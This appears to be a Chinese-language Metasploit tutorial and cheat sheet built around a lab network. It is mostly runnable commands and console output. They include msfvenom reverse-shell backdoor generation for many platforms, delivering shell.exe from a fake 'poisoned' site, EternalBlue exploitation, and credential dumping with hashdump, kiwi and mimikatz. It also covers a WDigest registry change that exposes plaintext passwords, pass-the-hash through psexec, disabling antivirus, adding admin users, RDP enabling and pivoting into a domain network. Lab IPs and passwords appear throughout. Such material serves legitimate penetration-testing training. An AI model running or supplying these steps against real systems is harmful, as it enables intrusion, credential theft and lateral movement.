Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit
作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开
发自己的漏洞脚本,从而进行测试。
shell中运行msfconlose
MSF数据库是为了得到的结果存入数据库,首次运行msf会发现没有连接数据库,需要自己手工建立。db_status
可以看到是PostgreSQL数据库,启动一下
service postgresql start #启动数据库
msfdb init #初始化数据库
msfconsole db_status #查看连接情况
msfconsole db_rebuild_cache #建立数据库缓存
启动数据库后可能还是会出现连不上的问题
exit先退出来,在外边shell启动数据库
msfdb start #启动
netstat -pantu | grep 5432 #查看端口
再进入msf,此时数据库应该已经连接。
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退 set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
Cd 更改当前的工作目录
核心命令
Sessions 转储会话列表并显示有关会话的信息
Color 切换颜色
Set 将特定于上下文的变量设置为一个值
Connect 连接与主机通信
Setg 将全局变量设置为一个值
exit 退出控制台
sleep 在指定的秒数内不做任何事情
get 获取特定于上下文的变量的值
spool 将控制台输出写入文件以及屏幕
getg 获取全局变量的值
threads 线程查看和操作后台线程
grep grep 另一个命令的输出
unload 卸载框架插件
history 显示命令历史
unset 取消设置一个或多个特定于上下文的变量
irb 进入irb脚本模式
unsetg 取消设置一个或多个全局变量
load 加载一个框架插件
version 显示框架和控制台库版本号
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
数据库后端命令
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有数据服务
db_disconnect 断开与当前数据服务的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(将自动检测文件类型)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_remove 删除已保存的数据服务条目
db_save 将当前数据服务连接保存为启动时重新连接的默认值
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭据后端命令
creds 列出数据库中的所有凭据
模块命令
Advanced 显示一个或多个模块的高级选项
Back 从当前上下文返回
Edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
setdesktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
run vnc #使用vnc远程桌面连接
在MSF中,一般我们生成payload程序后门之类的都是用msfvenom
,msfvenom是攻击载荷生成和编码器。
-p payload
-e 编码方式,指定编码器,可以实现免杀
-i 编码次数。指定编码迭代次数,一般配合免杀使用
-b: 去掉坏字符,坏字符会影响payload 正常执行
LHOST,LPORT 监听上线的主机IP和端口
-f 指定生成格式,如exe 生成EXE格式
-o 指定文件名称和导出位置
-l 可以查看可以利用payload
msfvenom -l
| grep windows | grep x64 | grep tcp 选择payload
使用msfvenom生成可执行的后门文件,各种文件生成命令如下:
linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=Port shell.elf
Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT= Port -f exe > shell.exe
Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
use exploit/multi/handler #使用监听模块
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 172.16.0.4
set ExitOnSession false #让connection保持连接
exploit #攻击,可以添加参数,-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
其他命令
jobs 查看后台攻击任务
kill <id> 停止某后台攻击任务
sessions -l (查看会话)
backgroup 放置后台
sessions 1 选择会话
sessions -k 1 结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话
目标靶机:
Windows server 2008: 192.168.200.130
攻击机:
kali linux : 192.168.200.128
msf生成攻击payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f exe > shell.exe
msf启动监听use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
设置optionsexploit
kali开启http服务模拟投毒web站点
此时Windows用户下载并运行shell.exe,获取到对方权限
可以看到这里的meterpreter并不是一个可以执行命令的shell
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
帮助菜单
background – 将当前会话移动到背景
bgkill – 杀死一个背景 meterpreter 脚本
bglist – 提供所有正在运行的后台脚本的列表
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
exit – 终止 meterpreter 会话
help – 帮助菜单
interact – 与通道进行交互
irb – 进入 Ruby 脚本模式
migrate – 移动到一个指定的 PID 的活动进程
quit – 终止 meterpreter 会话
read – 从通道读取数据
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
write – 将数据写入到一个通道
文件系统命令
cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件
网络命令
ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发
route -查看或修改受害者路由表
系统命令
clearav -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息
用户界面命令
enumdesktops -列出所有可访问台式机
getdesktop -获取当前的 meterpreter 桌面
idletime -检查长时间以来,受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
uictl -启用用户界面组件的一些控件
特权升级命令
getsystem -获得系统管理员权限
密码转储命令
hashdump -抓去哈希密码 (SAM) 文件中的值
下面是我常用的一些命令
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释
metasploit-autopwn是一个很强大的模块,能够让MSF实现对目标的全自动化渗透测试。
项目地址:
https://github.com/hahwul/metasploit-autopwn
1.安装metasploit-autopwn模块
cd /usr/share/metasploit-framework/plugins
git clone https://github.com/hahwul/metasploit-db_autopwn.git
cd metasploit-db_autopwn/
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
启动msf加载模块load db_autopwn
如下可实现对任何连接到系统8000端口的目标进行自动化渗透攻击。
msf6 > load db_autopwn
[*] Successfully loaded plugin: db_autopwn
msf6 > use auxiliary/server/browser_autopwn
msf6 auxiliary(server/browser_autopwn) > options
Module options (auxiliary/server/browser_autopwn):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The IP address to use for reverse-connect payloads
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Thi
s must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer Start a bunch of modules and direct clients to appropriate exploits
View the full module info with the info, or info -d command.
msf6 auxiliary(server/browser_autopwn) > set rhosts 192.168.200.130
[!] Unknown datastore option: rhosts. Did you mean URIHOST?
rhosts => 192.168.200.130
msf6 auxiliary(server/browser_autopwn) > set srvport 8000
srvport => 8000
msf6 auxiliary(server/browser_autopwn) > set lhost 192.168.200/128
[-] The following options failed to validate: Value '192.168.200/128' is not valid for option 'LHOST'.
lhost =>
msf6 auxiliary(server/browser_autopwn) > set LHOST 192.168.200.128
LHOST => 192.168.200.128
msf6 auxiliary(server/browser_autopwn) > set uripath /
uripath => /
msf6 auxiliary(server/browser_autopwn) > exploit
[*] Running module against 192.168.200.130
[*] Auxiliary module running as background job 0.
[*] Setup
msf6 auxiliary(server/browser_autopwn) >
[*] Starting exploit modules on host 192.168.200.128...
[*] ---
[*] Starting exploit android/browser/webview_addjavascriptinterface with payload android/meterpreter/reverse_tcp
......
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse TCP handler on 192.168.200.128:6666
[*] Started reverse TCP handler on 192.168.200.128:7777
[*] --- Done, found 0 exploit modules
[-] No exploits, check your MATCH and EXCLUDE settings
[*] Cleaning up exploits...
目标主机:
Windows server 2008 (192.168.200.130)存在ms17010永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.200.130
exploit
获取meterpreter
使用hashdump
抓取密码
得到目标主机hash值
注:mimikatz在新版本msf中已经取消,mimikatz模块已经合并为kiwi模块
常用命令
load kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
creds_all命令直接获取密码
由于mimikatz只是集成在了kiwi模块中,如果想使用mimikatz命令也是可以kiwi_cmd直接实现的,kiwi_cmd 模块可以让我们使用mimikatz的全部功能。
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册
表的方式抓取明文,需要用户重新登录后才能成功抓取
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
MSF中也是有psexec模块的,抓取到hash密码后
use exploit/windows/smb/psexec
set SMBUser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:ae74afe74b7c6c328c901bf54a704396
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.200.128
set lport 6666
set rhosts 192.168.200.130
exploit
REG查看RDP端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
开启RDP
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
enable_rdp模块可以实现开启RDP
run post/windows/manage/enable_rdp
验证开启
关闭
run multi_console_command -r /root/.msf4/loot/20231225131125_default_192.168.200.130_host.windows.cle_755971.txt
run getgui -e 开启远程终端
run post/windows/manage/enable_rdp
run getgui -u m -p QWEasd123 添加本地管理员
如果服务器防火墙开启的情况下,有可能拦截远程终端端口,使用命令把远程端口3389转发出来
转发3389端口
portfwd add -l 1234 -p 3389 -r 192.168.200.130
rdesktop 127.0.0.1:1234
在渗透测试过程中,经常拿到web主机与数据库不同在一个网段,可以得出这台主机还连着一个内网,
如果想要继续渗透内网,可以把这台web主机当作跳板机,对内网进行渗透
域控:
windows2012
192.168.3.33
administrator/Admin12345
域内成员主机:
windows2008
192.168.3.22
192.168.200.134
administrator/admin!@#45
xd\dbadmin/admin!@#45
域内成员主机:
windows7
192.168.3.11
administrator/admin!@#45
xd\dbadmin/admin!@#45
攻击机:
kalilinux
192.168.200.128
kali不通192.168.3.0段
通过永恒之蓝拿到Windows2008的meterpreter
获取内网网卡命令run get_local_subnets
绑定路由 不绑定路由就没法访问目标主机
run autoroute -s 192.168.3.0/24
route add 192.168.3.0 255.255.255.0 1
run autoroute -p
使用socks5隧道,这个代理就是开启了一个socks代理,监听vps本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中use auxiliary/server/socks_proxy
show options设置代理ip为127.0.0.1
编辑隧道配置文件sudo vi /etc/proxychains4.conf
msf 使用代理访问目标
setg Proxies socks5:192.168.200.199:1080
set ReverseAllowProxy true
proxychains nmap -p 1-10000 -Pn -sT 192.168.3.11
成功代理打通网段
MSF常用信息收集模块
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
收集域信息
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录
的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token
定位域控、抓取密码、查看域内主机
auxiliary/gather/kerberos_enumusers #Kerberos 用户名枚举–用户名字典
set DOMAIN XIAODI.LOCAL
set rhosts 192.168.200.134
set user_file 字典路径
exploirt